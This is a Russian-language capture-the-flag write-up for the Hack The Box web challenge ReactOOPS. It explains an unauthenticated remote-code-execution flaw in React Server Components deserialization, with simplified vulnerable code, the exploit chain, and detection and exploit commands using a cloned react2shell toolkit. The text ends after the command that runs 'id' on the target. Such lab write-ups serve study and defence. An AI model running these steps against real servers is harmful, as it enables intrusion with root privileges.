ReactOOPS - Описание прохождения веб-задачи HTB

Автор: TheStingR - Team ISP1337Hackers
Задача: ReactOOPS (Web)
Платформа: Hack The Box
Сложность: Очень легкая - УСТАРЕВШАЯ
Дата решения: 13 декабря 2025

Содержание

Краткое описание
Описание задачи
Анализ уязвимости
Разведка и сбор данных
Пошаговая эксплуатация
Извлечение флага
Технический разбор
Защита и смягчение
Выводы

Краткое описание

ReactOOPS — это веб-задача, которая эксплуатирует CVE-2025-55182 / CVE-2025-66478, критическую уязвимость удаленного выполнения кода без аутентификации в React Server Components и Next.js App Router.

Основные выводы:

✅ Сервер: Next.js 16.0.6 с React 19 (уязвим)
✅ Уязвимость: Отсутствие проверки hasOwnProperty в десериализации протокола Flight
✅ Воздействие: Неавторизованное RCE с правами root
✅ Эксплуатация: Требуется один HTTP POST-запрос

Описание задачи

Первоначальная оценка

Задача представляет собой отполированное Next.js-приложение, работающее через интерфейс помощника NexusAI. Приложение обрабатывает ввод пользователя через React Server Components, но едва заметные сбои в реактивном слое намекают на скрытые уязвимости.

Технологический стек

Фреймворк: Next.js 16.0.6
Версия React: 19.x
Развертывание: Docker-контейнер (автономная сборка Next.js)
Порт сервера: 50183

Почему это уязвимо?

Приложение использует:

React Server Components (RSC) — серверный рендеринг с клиент-серверным взаимодействием
Протокол Flight — формат сериализации для передачи данных RSC
Уязвимые зависимости — react-server-dom-webpack без исправлений безопасности

Анализ уязвимости

Обзор CVE-2025-55182 / CVE-2025-66478

Что такое протокол Flight?

Протокол Flight — это проприетарный формат сериализации React для передачи данных между сервером и клиентом в архитектурах Server Components. Он использует ссылки, такие как:

$1 — ссылка на объект в позиции 1
$1:путь:к:значению — обход пути к свойству

Отсутствующая проверка безопасности

Уязвимый код в ReactFlightReplyServer.js:

// Строка ~450: функция getOutlinedModel
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Обработка ссылок типа "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // УЯЗВИМЫЙ ЦИКЛ - НЕТ ПРОВЕРКИ hasOwnProperty!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Позволяет доступ к цепочке прототипов
        }
        return obj;
    }
}

Безопасная версия (как должно быть):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Invalid property access');
    }
}

Почему это важно

Без проверки hasOwnProperty злоумышленник может обойти:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Цепочка эксплуатации

Шаг 1: Отправить ссылку "$1:__proto__:then"
         │
         ├─ Доступ к myChunk[__proto__]
         └─ Затем доступ к [then] на прототипе

Шаг 2: Создать поддельный объект, похожий на Promise
         │
         └─ { then: вредоноснаяФункция }

Шаг 3: React вызывает await на этом объекте
         │
         ├─ Вызывает метод .then()
         └─ Выполняет функцию злоумышленника

Шаг 4: Произвольное выполнение кода
         │
         └─ Код выполняется в контексте сервера с правами root

Почему нет проверки аутентификации?

Уязвимость существует до валидации Next-Action:

Поток обработки запроса:
├─ Разбор multipart/form-data
├─ Десериализация протокола Flight  ← RCE ПРОИСХОДИТ ЗДЕСЬ
│  └─ Обработка ссылок и объектов
│  └─ Нет проверки hasOwnProperty!
├─ Извлечение заголовка Next-Action
├─ Проверка ID действия          ← Это происходит ПОСЛЕ
└─ Выполнение обработчика действия

Вызывая RCE во время десериализации, злоумышленник обходит все проверки безопасности уровня действий.

Разведка и сбор данных

Шаг 1: Проверка начального подключения

# Проверить, отвечает ли сервис
curl -v http://<IP>:PORT/

Ожидается: Next.js-приложение, отдающее HTML с включенным RSC

Шаг 2: Идентификация технологии

Ищите индикаторы:

Заголовки ответа с префиксом next-
HTML, содержащий <script type="text/x-component">
Наличие артефактов каталога .next
POST-эндпоинты без очевидной аутентификации

Шаг 3: Обнаружение уязвимости

Самый надежный индикатор — попытка атаки на загрязнение прототипа и наблюдение за ответом:

# Нерарушающий детектирующий пейлоад
# Отправляет: ["$1:a:a"] со ссылкой на {}
# Уязвимый: {}.a.a вызывает исключение → HTTP 500 + E{"digest"
# Исправленный: hasOwnProperty предотвращает доступ → нет сбоя

Пошаговая эксплуатация

Настройка окружения

# Перейти в каталог задачи
cd /Challenges/ReactOOPS

# Клонировать фреймворк эксплойта react2shell
git clone https://github.com/freeqaz/react2shell.git

# Убедиться, что все скрипты исполняемы
chmod +x react2shell/*.sh

Фаза 1: Обнаружение (нерарушающее доказательство)

Цель: Подтвердить уязвимость сервера без причинения вреда

cd react2shell

# Запустить детектирующий зонд
./detect.sh http://<IP>:PORT

Что он делает:

Создает multipart POST-запрос с заголовком Next-Action: x
Отправляет пейлоад: ["$1:a:a"] со ссылкой на пустой объект {}
На уязвимом сервере: JavaScript пытается получить доступ к {}.a.a
Отсутствие проверки hasOwnProperty вызывает сбой
Сервер возвращает HTTP 500 с дайджестом ошибки

Ожидаемый вывод:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] This server is running a vulnerable version of React RSC / Next.js

Интерпретация:

HTTP 500: ✅ Сбой обнаружен
E{"digest" в ответе: ✅ Формат обработки ошибок React
Вывод: Сервер УЯЗВИМ

Фаза 2: Удаленное выполнение кода (Proof of Concept)

Цель: Проверить выполнение произвольных команд

# Выполнить команду 'id' на удаленном сервере
./exploit-redirect.sh -q http://<IP>:PORT "id"

ReactOOPS-WriteUp

Популярное